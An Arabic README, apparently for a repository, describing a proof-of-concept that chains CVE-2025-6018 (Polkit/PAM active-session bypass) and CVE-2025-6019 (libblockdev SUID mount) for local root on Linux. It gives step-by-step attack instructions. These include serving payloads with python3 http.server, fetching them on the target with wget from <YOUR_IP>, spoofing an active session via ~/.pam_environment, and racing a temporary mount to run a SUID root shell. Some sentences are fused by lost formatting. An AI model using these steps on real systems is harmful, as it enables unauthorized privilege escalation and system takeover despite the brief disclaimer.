
إثبات مفهوم لربط CVE-2025-6018 (تجاوز الجلسة النشطة في PAM/Polkit) وCVE-2025-6019 (ثغرة SUID mount في libblockdev) لتحقيق تصعيد الامتيازات المحلية (LPE) على أنظمة لينكس المعرضة للخطر.
إثبات مفهوم قوي (PoC) لربط CVE-2025-6018 (تجاوز الجلسة النشطة في PAM/Polkit) وCVE-2025-6019 (ثغرة تركيب SUID في libblockdev) لتحقيق وصول الجذر على أنظمة Linux المتأثرة.
هذه الأداة لأغراض تعليمية وأبحاث أمنية مصرّح بها فقط. لا تستخدمها على أنظمة لا تمتلكها أو ليس لديك إذن صريح لاختبارها.
يستغل هذا الإكسبلويت ثغرتين منطقيتين لتصعيد الامتيازات من مستخدم عادي إلى الجذر:
Active=yes عليها. هذا الخداع يقنع النظام بأن المستخدم البعيد متواجد فعليًا أمام وحدة التحكم، متجاوزًا متطلبات كلمة المرور لأدوات إدارة الأجهزة مثل udisks2.libblockdev (التي يستخدمها udisks2) تفشل في تطبيق علامة الأمان nosuid عند تركيب نظام ملفات مؤقتًا لعمليات الصيانة (مثل Check أو Resize).Active=yes لتركيب هذه الصورة كجهاز loop بدون كلمة مرور.Filesystem.Check. هذا يجبر udisks2 على تركيب الصورة مؤقتًا للتحقق منها. الأهم من ذلك، أن هذا التركيب المؤقت يفتقر إلى nosuid./proc/mounts في الوقت الفعلي. في اللحظة التي يظهر فيها التركيب المؤقت، ينفّذ حمولة SUID قبل أن يقوم النظام بإلغاء تركيبه.نظرًا لأن الجهاز المستهدف غالبًا ما يفتقر إلى أدوات مثل mkfs.xfs أو gcc، نقوم بإنشاء الحمولة محليًا.
./build_poc.sh
exploit.img (صورة XFS بحجم 400MB مع صدفة SUID).catcher (البرنامج الفائز في سباق التوقيت).python3 -m http.server 80
على الجهاز المستهدف (على سبيل المثال، في /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
نزّل سكربت الاستغلال:
احفظ محتوى exploit.sh من هذا المستودع إلى الجهاز المستهدف.
شغّل الاستغلال:
chmod +x exploit.sh
./exploit.sh
catcher في الخلفية، وتحفيز الثغرة. يجب أن تحصل على صدفة جذر فورًا.إذا طلب السكربت كلمة مرور، فجلسة SSH الخاصة بك ليست نشطة. الإصلاح:
~/.pam_environment:echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. يجب أن تُظهر Active=yes.نافذة الثغرة تستغرق ميلي ثانية فقط.
build_poc.sh)، وليس حلقة Bash.Filesystem.Check، وهي أكثر موثوقية من Resize.build_poc.sh (جانب المهاجم)يعمل على أتمتة إنشاء الصورة الخبيثة ويترجم الثنائيات الثابتة.
exploit.sh (جانب الهدف)هو المنسّق. يتولى:
catcher في الخلفية.udisksctl.Filesystem.Check.